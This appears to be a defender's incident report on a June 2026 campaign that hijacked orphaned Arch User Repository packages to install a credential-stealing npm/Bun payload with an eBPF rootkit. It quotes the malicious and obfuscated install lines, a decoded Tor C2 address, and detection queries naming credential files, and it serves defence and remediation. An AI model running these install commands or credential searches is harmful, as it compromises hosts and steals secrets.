Between 9 and 17 June 2026, someone adopted more than 1,900 orphaned packages in the Arch User Repository and wired them to pull a credential-stealing zombie payload.
The official Arch repositories that pacman uses were not compromised, and as far as anyone can tell they stayed in working, uncompromised order. The Arch User Repository (AUR) was the target, and almost everyone on Arch uses it.
The affected packages were orphaned or dead ones listed as dependencies of packages people still install. That narrows the blast radius, but not by much: the AUR offers enough indirect paths that mapping them all takes real effort, and spotting contact with an affected package often needs log-level visibility a workstation does not keep on its own.
More than 1,900 packages were touched, with about 400 of them adopted after Arch closed semi-automated AUR sign-ups mid-incident. The count was still moving when the affected-package list was last updated.
A second, parallel npm campaign ran in the same window; this write-up covers Atomic Arch only.
The campaign centres on a fake npm package, atomic-lockfile. Sonatype's analysis traces it as a first-stage information harvester built to look like a package that had been around for a while: its folder structure and its version number were both chosen to signal age and trust. It targeted the credentials you would expect on a developer machine: SSH keys, CI/CD tokens, Slack and Teams session material, and similar.
The threat actor went through the AUR and identified packages that were orphaned but already trusted and installed on a meaningful number of machines. Because AUR adoption is not verified, the attacker then adopted those packages and modified the PKGBUILD, hook, or .install logic. That avoided touching the upstream source archives PKGBUILD pulls. Orphaned packages referenced by other, non-orphaned packages would then force npm or bun to fetch the malicious atomic-lockfile package.
This is harder to notice than it sounds. Build anything from the AUR and sub-packages and sub-commands scroll past the terminal faster than anyone can read, let alone audit in real time. One more package name in that scroll does not stand out.
Three phases pushed through the ecosystem. The count is still moving.
The earliest malicious commits trace back to June 9. Public discovery hit on June 11. The install line was npm install atomic-lockfile minimist chalk. minimist and chalk are real, harmless, widely used packages, which gave the command the shape of normal dependency noise. The dangerous package moved in with the rest of the crowd, counting on the terminal scroll to blur one more name into the mass.
About 400+ packages.
Detection work started quickly. Defenders began grepping for npm install atomic-lockfile, but the next phase was already pressing into the same exposed surface before the first one had fully cleared.
The TA(s) pivoted to bun install js-digest. Same payload family. Different runtime, different package name, completely different command string. Detection written around the first wave still had a place in the audit, but was far less useful because the TA(s) had already pivoted. The package count pushed past 1,500 total before most teams had finished sorting the first set of compromised builds.
Once the community started looking for bun, the command line began to fragment. The TA(s) moved into quote-splitting:
'b''u''n' add nextfile-js
The TA(s) also used $IFS separators to chop the package name into fragments no static string match would catch.
Researcher Nicolas Boichat had to deploy a local Gemma AI model via E2B just to catch the obfuscated patterns. By the third phase, defenders needed model-assisted pattern recognition to keep up with the swarm.
nextfile-js was the next package to be compromised, or attempted to be compromised during this campaign. There was a PREINSTALL target which was ./lib/install-deps.mjs that file however did not actually exist in the archive that came down. NPM unpublished that package on or about 2026-06-16T11:37:10Z. This would be three days after the publish and two days after the public detection. Thankfully the tarball now 404's out. It has an S3 delete marker. We can speculate on why this happened, but suffice it to say that we dodged a bullet here.
Across all three waves: 1,937 unique AUR package names on the Arch-maintained affected list. And they explicitly say it's still not complete.
atomic-lockfile was never a real package. It had no prior version, no previous maintainer, and no GitHub repository with an established issue history or README. It was built from scratch specifically to be pulled during these install hooks.
It wasn't built to look new. It was built to look established. It was published at version 1.4.2, not 1.0.0 or 0.1.0.
The folder structure inside of the tarball that came down was also a pretty solid indicator that something was amiss. The structure reflected proper CJS (CommonJS) and ESM (ECMAScript Modules) build outputs. Actual JavaScript that was to serve as a binary entry point. Any scanner looking for "does this package have JS in it?" would be misled and probably miss it.
The npm account that published it — herbsobering — was a fresh throwaway account. NPM didn't require much in the way of verification. Just an email address and a password.
The preinstall lifecycle hook in package.json was the only thing that mattered:
"preinstall": "./src/hooks/deps"
npm runs preinstall before it runs anything else. Before your brain has finished parsing the wall of text scrolling past your terminal. The moment you ran npm install atomic-lockfile, it was already over.
./src/hooks/deps is not a JavaScript file. It's a 2.9MB Linux ELF64 binary. Rust-compiled, async runtime, stripped, no debug symbols, release mode.
SHA-256: 6144d433f8a0316869877b5f834c801251bbb936e5f1577c5680878c7443c98b MD5: 42b59fdbe1b72895b2951412222ebf40
The binary installs a systemd service unit in /etc/systemd/system/ when running as root, or in ~/.config/systemd/user/ when running as an unprivileged user. The unit is configured with Restart=always and RestartSec=30, which means killing the process only buys you a short pause before it comes back. On reboot, it starts again. The binary also copies itself into a generated path under /var/lib/ or the user profile using a name that does not immediately advertise what it is.
The credential collection is concurrent, not linear. Because the payload is Rust-compiled and uses an async runtime, it can sweep multiple locations at the same time: browsers, SSH material, developer tokens, chat clients, container credentials, and shell history. Essentially this is like multithreading for stealing information. It happens so quick under the hood that the only realistic strategy that a defender can consider is a post-mortum response and remediation.
The target list is tuned for developer workstations and CI/CD environments. Some of the targeted cyber assets were:
~/.npmrcEverything gets serialized and goes out two ways.
POST /api/agent to the Tor C2.POST /upload to temp.sh, which is a public file-sharing service. This is a failsafe for defenders that are blocking TOR.The binary checks for debuggers using PTRACE_ATTACH and PTRACE_SEIZE.
The Onion address isn’t hard coded into the binary in plaintext. It's a 62-byte XOR-encoded blob at offset 0x2DA96, decoded at runtime using a 32-byte repeating key. You have to reverse engineer the binary to find it.
When decoded:
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
Traffic hits 127.0.0.1 first through a SOCKS-style loopback proxy (likely a locally launched Tor client), then exits through the onion. Ports 80 and 8080.
If deps received root privileges, CAP_BPF, or CAP_SYS_ADMIN, the payload could escalate from infostealer behavior into kernel-level concealment.
It deployed an eBPF program compiled from scales.bpf.c that hooked getdents64() — the kernel system call that every tool in your arsenal uses to list files, processes, and sockets. ls. ps. find. ss. netstat. All of them go through getdents64(). All of them now lie to you.
It maintained three BPF maps pinned under /sys/fs/bpf/:
hidden_pids — its process ID is gone from every process listinghidden_names — its binary files are gone from every directory listinghidden_inodes — its network sockets are gone from every socket listingIt also used NETLINK_SOCK_DIAG to sweep its network connections out of socket visibility. The process is invisible. The files are invisible. The network connections are invisible. The only way to catch it at this point is to step below the kernel API layer entirely — direct memory inspection, eBPF tracing that runs outside its own hook, or forensic analysis from outside the running system.
This is a rootkit written with actual sophistication. Not some half-baked LKM that breaks on every kernel update. eBPF is stable, flexible, and legitimately used by observability and security tools. It was the right tool for hiding from the right targets.
There's a suspected cryptominer component too. Persistent access and CPU cycles. Why not.
Several fake accounts were made in the AUR ecosystem in order to help sell the legitimacy of these packages. Note that most of these names are consistent with common European names. This was most likely done on purpose.
|
Wave |
Accounts |
|
Wave 1 |
|
|
Wave 2 |
|
|
Wave 3 |
|
|
Cross-wave publisher |
|
There's also arojas in the account activity — but this is the important one to flag. arojas is a legitimate maintainer whose identity was impersonated through commit forgery. It is logical to assume, but we cannot conclude that this was more than likely the work of several threat actors working in concert.
There are also fardewoak on GitHub (linked to tooling associated with herbsobering430) and uquque on npm as the current maintainer of the suspicious nextfile-js tarball.
If you're running Arch — or you manage anyone who does — the question isn't "was I exposed." The question is "when did I last update an AUR package between June 9th and June 17th."
If the answer is "during that window," you treat the host as compromised until you can prove otherwise.
Package removal is not remediation. If deps already ran, the host has:
You cannot trust the output of ls, ps, ss, or find on a compromised root-level host. The rootkit hooks getdents64(). It will lie to your face.
Immediate actions, in order:
Check your /sys/fs/bpf/ path. If you see hidden_pids, hidden_names, or hidden_inodes — you are compromised. Stop and escalate.
atomic-lockfile, js-digest, lockfile-js, nextfile-js, and src/hooks/deps.temp.sh, connections to ports 80/8080 originating from package-manager processes, and any Tor-related transport.Defenders are at a disadvantage here. The IOCs are almost entirely host-based — the one network IOC that crosses the perimeter is the temp.sh exfiltration channel and any Tor egress. Defenders should follow standard SOPs for detecting Tor traffic leaving their networks and flag any temp.sh POST activity originating from developer workstations. Defenders will need to make sure that their SIEM appliance has access to local logs via something like rsyslog so that the installs of npm packages can be tracked.
Defenders can also use more generic queries to detect some of the indicators of compromise that come down in the payloads associated with this compromise. We know that a big indicator is credential stealing, so standard queries that detect unexpected access to cached credentials in browsers, or just an abuse of the find command to look for these creds are a great place to start. Some examples are:
Alert: The Suspicious Find Execution on Unix.
We use this alert to detect when the find command is used in strange ways. We know that the post exploitation payloads associated with this compromise harvest credentials and this is certainly the easiest and quickest way to do that, while living off of the land.
Required Log Sources
(
(norm_id=UnixSysmon label="Process" label=Create "process"="*/find")
OR
(norm_id=Unix event_type=Execve command="find *")
)
(
command IN ["find / *", "*-exec *","*-writable*"]
OR
(command ="*-perm *" command IN ["*6000*","*4000*","*2000*","*002*", "*o=w *", "*g=w *", "*u=s *", "*g=s *"])
OR
command IN [
"*id_rsa*", "*authorized_keys*", "*.pem*", "*.key*", "*.env*", "*backup*",
"*.cer*", "*known_hosts*", "*.crt*", "*.pfx*", "*.aws/credentials*", "*.aws/config*",
"*.azure/*", "*.kube/config*", "*.git-credentials*", "*.docker/config.json*", "*config*"]
)
-user IN ["man","daemon","nobody", "_apt"]
Alert: The Browser Credential File Access on Linux.
We use this alert to detect when browser credentials are accessed by another process. This query only covers Chrome and Firefox, but defenders should be able to change the paths to reflect the browser of their choice should the need arise.
Required Log Sources
[norm_id=Unix event_type=Path
path IN [ /* Filtering browser path files containing credentials */
/* Firefox - path */
"*/.mozilla/firefox/*/logins.json",
"*/.mozilla/firefox/*/cookies.sqlite",
"*/.mozilla/firefox/*/key4.db",
"*/.mozilla/firefox/*/sessionstore*",
"*/.mozilla/firefox/*/webappsstore.sqlite",
/* Chrome - path */
"*/.config/google-chrome/*/Login Data*",
"*/.config/google-chrome/*/Cookies*"
]] as s1
join /* joining with Openat system call to truly determine the file open events */
[norm_id=Unix event_type=SYSCALL system_call=openat
-path IN ["firefox","chrome"] /* filter out firefox and chrome path to ignore TP */
] as s2 /* Join on record_id as it is unique identifier of a chain event_types in auditd with same host */
on s1.record_id = s2.record_id
and s1.host = s2.host
| rename s1.log_ts as log_ts, s1.host as host, s2.user as user, s1.path as path, s2.path as "process"
|
Indicator |
Type |
|
|
npm package name |
|
|
npm / Bun package name |
|
|
npm / Bun package name |
|
|
npm / Bun package name |
|
|
SHA-256 (Wave 1 ELF) |
|
|
MD5 (Wave 1 ELF) |
|
|
SHA-256 (Wave 2 ELF) |
|
|
Tor C2 |
|
|
C2 callback path |
|
|
Secondary exfil |
|
|
eBPF rootkit filesystem IOC |
|
|
eBPF rootkit filesystem IOC |
|
|
eBPF rootkit filesystem IOC |
|
|
eBPF source string in binary |
|
|
Anti-debug strings in binary |
|
|
Socket hiding string in binary |
|
|
Systemd persistence IOC |
|
|
PKGBUILD command pattern |
|
|
Wave 3 obfuscation pattern |
|
|
Wave 3 obfuscation pattern |
|
|
npm threat actor account |
For the full affected AUR package universe, pull the live list directly from Arch:
https://md.archlinux.org/s/SxbqukK6IA/download
Don't trust a frozen snapshot. That list was still moving as of the last time anyone looked at it.
We as defenders learned a tough few lessons here.
The fundamental problem remains unsolved. Orphaned packages persist in the AUR model. Npm still allows anyone to publish anything with just an email address. The gap between "package adoption is allowed" and "package adoption is verified" remains so wide that Threat Actors are driving vibe coded love buses through it, looting everything in their path and moving on to the next package. On top of that, these info stealers work so quickly that Defenders barely have a chance to detect that something is happening, let alone block it.
yay 13.0 shipped on June 17 with PKGBUILD age surfacing and hook-based filtering, giving users a better chance to spot suspicious recent updates before a package builds. This was by no means a complete fix, but it certainly made things easier for the end user to spot.
The attackers did not need to break into the ecosystem. They only needed to claim trust by filling out the right forms. The lesson here is that even though it looks squared away, it might not be. The upstream system itself could be setup for ease abuse, and no one may have given it a second thought. This takes us back to using FOSS in production level code repositories. A lot of people say "Open Source, Open Standards", however those of us that have been in the Enterprise level game long enough know that does not fly in any context. So what is a defender supposed to do?
Defenders are also at a disadvantage here as well.
As Defenders we have to be aware that locking down the ecosystem that our developers can use to churn a product out will lead to inefficiencies in code production, testing, patching and releases. Defenders get the unenviable task of balancing the wants of the developers against the needs of the company to remain safe and secure. Some might say that this is part of the job, but in this context there is a little more to it.
The best SIEM/Firewall/NDR/XDR/SOC etc etc won't be able to protect a company from themselves. If a company's developers are out running around on the internet just grabbing whatever they think they need from bun/x/npm and just letting the install scripts ride/run, then Defenders are already setup for failure. Having the available packages screened entirely by Defenders on a retail basis will set the developers up for failure…So what's a company to do?
Scrub your code coming in from upstream. For some code bases this is a monumental task. As we saw during this compromise, a code freeze doesn't prevent a PREINSTALL from firing or something like that. Make sure you are using good tools like snyk to go over your codebase and a solid SIEM with good alerts to monitor the CI/CD process.
Educate your developers. As Defenders we sometimes tend to lose sight of the fact that not everyone thinks like they're pulling a job to harvest creds. As a matter of fact, most people don't. To further complicate the situation, most developers are preoccupied with meeting their deadlines, and as a result will be actively looking for coding shortcuts. Education comes in this form. "Do you really need to pull an entire npm package just for that one function? or class?". "Is this worth a code scrub?" The more Defenders can educate their development coworkers and communicate with them effectively, the safer everyone at the org will be.
Though tediously cliche, Defenders would do well to remember that everyone is a user to some point. Users have an almost mythical capability to either be a Defenders most vulnerable dynamic threat actor, or their most valuable dynamic asset. Which one Defender's coworkers fall into is in a very large part up to the Defender. SIEM may not have been able to prevent this in the exact moment that it was happening, but given the right sources, it can certainly help you clean up the mess this leaves behind it.
Stay vigilant.
|
Source |
URL |
|
Arch Linux incident notice |
https://archlinux.org/news/active-aur-malicious-packages-incident/ |
|
Arch AUR mailing list thread (incident queue) |
|
|
Arch AUR mailing list — Boichat obfuscated-Bun detection post |
|
|
Arch-maintained affected package list |
|
|
Sonatype — Atomic Arch npm campaign analysis |
https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency |
|
Phoronix — initial 400+ package coverage |
https://www.phoronix.com/news/Arch-Linux-AUR-400-Compromised |
|
Phoronix — follow-up 1,500+ packages |
|
|
Phoronix — additional, more sophisticated wave found post-lockdown |
|
|
The Register — AUR registration lockdown |
|
|
Privacy Guides — AUR rootkit-like malware summary |
|
|
CachyOS community thread — obfuscated-Bun detection discussion |
https://discuss.cachyos.org/t/aur-compromised-1500-packages-affected-20260611/31040 |
|
Linuxiac — |
https://linuxiac.com/yay-13-0-adds-new-review-and-automation-features/ |
|
ioctl.fail — preliminary AUR malware binary analysis |
|
|
sha0coder — eBPF rootkit ( |
|
|
The Hacker News — IronWorm and Miasma (the second, parallel npm campaign) |
https://thehackernews.com/2026/06/ironworm-and-new-miasma-worm-variant.html |
|
npm public registry — live metadata lookup confirming |
|
|
lenucksi/aur-malware-check — community package tracker referenced in Appendix B |
The 1,936 AUR packages below had their PKGBUILD, hook, or install logic modified to fetch the malicious payload. Packages from Wave 1 injected npm install atomic-lockfile minimist chalk. Wave 2 substituted bun install js-digest. Wave 3 used obfuscated Bun commands with nextfile-js. Per-package wave assignment is not available for the full list — the install string shown is the primary Wave 1 pattern. If you installed any of these between June 9 and June 17, treat the host as exposed.
Wave caveat: packages adopted in Wave 2 or Wave 3 used bun install js-digest, bun install lockfile-js, or bun add nextfile-js with obfuscation variants instead of the npm string above. The Arch-maintained list does not attribute individual packages to specific waves.
Every other package in the main appendix still exists on the AUR — malicious commits reverted, maintainers banned, back to business. These 52 did not survive the cleanup. They were deleted outright.
That distinction matters. Reverting a commit leaves the package history intact. Deleting a package means there was no legitimate history worth preserving — or the git state was too entangled to untangle cleanly. In most cases here, the former.
No individual deletion records are public. All removals occurred in the June 11–17 window, as Arch Trusted Users worked through the HedgeDoc-linked affected package list. The aur-general mailing list thread (FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4) was the community reporting queue — it named packages but did not publish per-package audit logs in any indexed secondary source. None of these 52 appear by name in any public writeup as individually confirmed attacker-created or individually confirmed over-aggressive cleanup deletions.
What is public is the package name itself. For some of these, the name is the evidence.
Twelve packages. All targeting the Exodus cryptocurrency wallet. No legitimate ecosystem has twelve near-identical AUR packages for the same application.
Exodus is a non-custodial, closed-source multi-asset wallet with a built-in exchange. The infostealer payload (deps) explicitly targeted local wallet files and seed phrases. These packages were the lure. The naming pattern is consistent across all twelve: transpositions, character swaps, suffix additions, Z-for-S substitutions. Someone built a namespace cluster and registered every variant they could think of.
exodasFirst appeared: June 9–11, 2026 (campaign window).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Anagram/typo of Exodus. No plausible legitimate software by this name. Attacker-created.
exodisFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Near-miss typo substituting is for us. Attacker-created.
exodudFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Nonsense name. No identifiable software. Attacker-created.
exodusaeFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Suffix ae has no standard meaning in AUR package naming. Attacker-created.
exodussFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Double-s typo. Attacker-created.
exodus-walletFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Added wallet suffix to the real application name. The legitimate AUR package is exodus. This dash-wallet variant has no surviving page and no prior history in indexed sources. Attacker-created.
exodus-wallet-binFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Borrowed the legitimate AUR -bin convention for pre-compiled packages. There is no real exodus-wallet base to create a -bin from. Attacker-created.
exoduswalletFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Concatenation of exodus and wallet without the dash. Attacker-created.
exoduxFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: One-character substitution (x for s). Attacker-created.
exoduzFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Z-for-S swap, common in low-effort typosquatting. Attacker-created.
exodysFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Y-for-U substitution. Attacker-created.
exoudsFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Transposition of o and u. Attacker-created.
Two packages targeting Atomic Wallet — the campaign's npm payload was named atomic-lockfile. The wallet was a target on the npm side and on the AUR side simultaneously.
atomicwaletFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: Named in lenucksi/aur-malware-check package_list.txt. No individual mailing list entry in indexed sources.
Assessment: One character dropped from atomicwallet (the real AUR package). Attacker-created. The naming link between this AUR typosquat and the npm package atomic-lockfile is unlikely to be coincidence — both target the same application by name.
atomicwallletFirst appeared: June 9–11, 2026.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: Named in lenucksi/aur-malware-check package_list.txt. No individual mailing list entry in indexed sources.
Assessment: Triple-L typosquat. Attacker-created. Standard fat-finger trap.
Ledger hardware wallets are among the most common targets in cryptocurrency credential theft. Three packages here, two of which use naming that diverges from the legitimate AUR namespace (ledger-live, ledger-live-bin, ledger-live-git, ledger-udev-rules).
ledgerliveFirst appeared: June 9–11, 2026 (estimated).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: No-dash variant of ledger-live. The legitimate AUR packages all use the dash. This namespace is attacker territory. No prior history in indexed sources. Attacker-created.
ledgerlive-binFirst appeared: June 9–11, 2026 (estimated).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: No-dash root name combined with the -bin suffix. Double deviation from the established naming convention. Attacker-created.
ledger-udev-binFirst appeared: Unknown — may predate the incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: More ambiguous than the other two. The legitimate package is ledger-udev-rules. A -bin variant for a udev rules package is technically odd — udev rules are text files, not binaries. Could be an attacker-created lure designed to mimic the real package for Ledger hardware wallet users, or a stale fork that predated the incident. Deletion (not reversion) leans toward no legitimate history.
Two packages whose names say exactly what they are.
test-malicious-nukeFirst appeared: Unknown — possibly during campaign window, possibly created by Arch staff as a diagnostic tool.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: The test-malicious- namespace prefix is explicit. "Nuke" suggests a destructive action test. Origin is genuinely ambiguous: this could be an attacker testing their injection pipeline before the main campaign (a dry run), or a defender-created diagnostic package used to verify detection tooling during cleanup. No public reporting disambiguates. If attacker-created, it predates the June 9 wave. The test-malicious- prefix naming the package's own nature is not typical of serious operational tradecraft — which slightly favors the defender diagnostic interpretation, but does not confirm it.
test-malicious-resetFirst appeared: Unknown — same ambiguity as above.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: "Reset" alongside "nuke" suggests the two were paired, possibly simulating a destructive action followed by a state reset. The test-malicious- naming and the pair structure are consistent with diagnostic tooling. Both packages were submitted as part of the same AUR activity window — whether attacker or defender — and both were deleted rather than having commit histories worth preserving.
Four packages that don't fit standard categories but stand out individually.
notepad—binFirst appeared: June 9–11, 2026 (estimated).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: AUR package names are supposed to conform to [a-z0-9@._+-] per the packaging guidelines. An em dash (U+2014) is not a valid character in a POSIX package name. A legitimate package notepad---bin (three hyphens, row 1164 in the main appendix) exists with a real version and was reverted rather than deleted. This em-dash variant is a unicode namespace collision: the two names are visually similar in some renderers but resolve to different AUR paths. Attacker-created to capture installs from users who copy-pasted from a source that auto-converted --- to —.
openclaude-binFirst appeared: Unknown.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: A legitimate openclaude package existed on AUR (created by user LandWarderer2772, linked to Gitlawb/openclaude on GitHub — an issue was filed there noting its AUR addition). The -bin variant has no surviving AUR page. This is either an attacker-created pre-compiled lure riding on the legitimate package's name recognition, or a parallel package deleted over-aggressively during cleanup. No public reporting specifically names openclaude-bin as attacker-created. Absence of any prior public history slightly favors attacker-created.
yay4First appeared: June 9–11, 2026 (estimated).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: yay is the most-installed AUR helper on Arch Linux. The real packages are yay, yay-bin, and yay-git. There is no legitimate software called yay4. Compromising the AUR helper itself is a force multiplier: anyone installing a malicious AUR helper would run the infostealer against everything they subsequently install. This package almost certainly targeted users searching for the helper by a number-variant name. High confidence: attacker-created.
yyFirst appeared: Unknown.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Two-character name. No widely-known Linux software at this scale is named yy. Could be a namespace squatter, an attacker test package, or a minimal placeholder. No public reporting identifies what software this was supposed to package or what its PKGBUILD contained. Deletion without a recoverable version is consistent with no real content ever having been present.
Twenty-nine packages that sound like real software because most of them probably were. Old, stale, unmaintained — exactly the profile this campaign targeted. The distinction from the reverted packages in the main appendix: these had git histories that either did not survive cleanup, were too entangled to safely revert, or were determined to have no active users worth the effort. Arch staff deleted rather than reverted.
Where a package could reasonably be either attacker-created or a legitimate old orphan, that ambiguity is noted. Most lean legitimate.
arcadiaFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: A generic project name used by multiple applications (game engines, text editors, IDEs). No specific AUR arcadia package is findable in public sources prior to the incident. Ambiguous — could be a legitimate old orphan or attacker-created under a plausible generic name.
autolabelFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: A plausible name for a CLI labeling or tagging utility. Multiple projects use this name. Likely a legitimate stale orphan; the deletion rather than reversion suggests its git history was minimal or entangled.
c++-gtk-utils-gtk2First appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: c++-gtk-utils is a real library. A -gtk2 sub-variant follows standard AUR packaging conventions for GTK2-specific builds. Almost certainly a legitimate package, probably deleted because cleanup volume outpaced careful per-package history review for lower-traffic packages.
c+gtk-utils-gtk2First appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Single + where the correct package has ++. This is a typosquat of c++-gtk-utils-gtk2 (above) — the two appear together in the affected list at adjacent rows 199–200, both deleted. One is a legitimate package, the other is a typosquat of that package. Likely attacker-created.
cavestory+-hbFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Cave Story+ is a real Nicalis game with a Linux build. The -hb suffix typically denotes a Humble Bundle distribution. A package providing the Humble Bundle version of Cave Story+ is entirely plausible. This was probably a legitimate old package for Cave Story+ Humble Bundle purchasers that became an orphan when Humble Bundle changed its distribution model. A legitimate orphan adopted by the attacker.
cinny-desktop-system-trayFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: cinny-desktop is an active AUR package for the Cinny Matrix client. A -system-tray variant providing system tray integration via a community patch is a plausible parallel package. Likely legitimate, deleted during cleanup because the associated maintainer account was banned and there was no clean revert path.
electrum-binFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Electrum is a major Bitcoin wallet. An -bin variant providing pre-compiled releases is entirely plausible alongside the existing electrum and electrum-git packages. Given the infostealer's explicit targeting of cryptocurrency wallet data, this package carries higher suspicion than most in this group. Could be attacker-created or a legitimate old orphan. Deletion rather than reversion does not settle the question.
fcitx5-pinyin-sougou-dict-gitFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: fcitx5 is a real and actively used input method framework. Sogou dictionaries are a common supplement for Chinese Pinyin input. Long descriptive naming is exactly consistent with legitimate AUR packaging conventions. Almost certainly a legitimate package deleted because cleanup speed outpaced careful history review for niche CJK input packages. Collateral deletion.
gitosis-gitFirst appeared: Unknown prior to incident (possibly years prior — gitosis development stalled circa 2012).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: gitosis is a real git repository manager (originally by Tv/Tommi Virtanen), largely superseded by Gitolite but still used in legacy deployments. The -git suffix indicates the package tracked upstream git. A real AUR presence for this tool is expected and consistent with its historical usage. Almost certainly a legitimate stale orphan — years of neglect, small install base, zero active maintainer. A textbook target for this campaign.
htbrowser-binFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: No widely-known software named htbrowser is identifiable in public sources. The name does not correspond to any major Linux application. Could be a small niche project or attacker-created under an obscure but plausible name. The absence of any prior public record and deletion (not reversion) is mildly suspicious.
ls++First appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: ls++ is a confirmed real AUR package — a colorized ls replacement by Traverse Martin (GitHub: trapd00r/ls--). It had a legitimate AUR presence and user base. This is almost certainly a legitimate package deleted rather than reverted, likely because the volume of cleanup overwhelmed per-package history review. A useful tool, a real AUR package, and an unfortunate casualty of the cleanup pace.
mon2cam-gitFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: mon2cam is a real tool for using a monitor as a virtual webcam via v4l2loopback. The AUR cgit tree for Mon2Cam.desktop is still findable in the git mirror, confirming a real prior commit history. Another legitimate orphan adopted during the campaign, deleted rather than reverted during cleanup.
monochromeFirst appeared: Unknown prior to incident — or June 9–11 (see below).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Note the split: monochrome-git (row 1042 in the main appendix) has a real version (r1244.3b088d1-1.tar.gz) and was reverted. The plain monochrome package (row 1041) was deleted. A -git variant surviving while the plain-name variant is deleted suggests the plain name may have been attacker-created as a separate lure while the real git-tracked package was reverted normally. Likely attacker-created.
nautilus-renamerFirst appeared: Unknown prior to incident (possibly circa 2013–2018 peak GNOME era).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Nautilus Renamer is a real GNOME file manager extension for batch renaming that had an active user base during the GNOME 3.x era. Almost certainly a legitimate stale orphan — niche GNOME extension packages go unmaintained as desktops and APIs change while users who installed them years ago don't notice.
nox-binFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Nox is a real Android emulator, though primarily targeting Windows and macOS. A Linux -bin package is plausible but historically unusual. No surviving AUR history. Ambiguous between a legitimate attempt at packaging a Windows-first app and an attacker-created package targeting users who search for Android emulators on Linux.
omnidb-serverFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
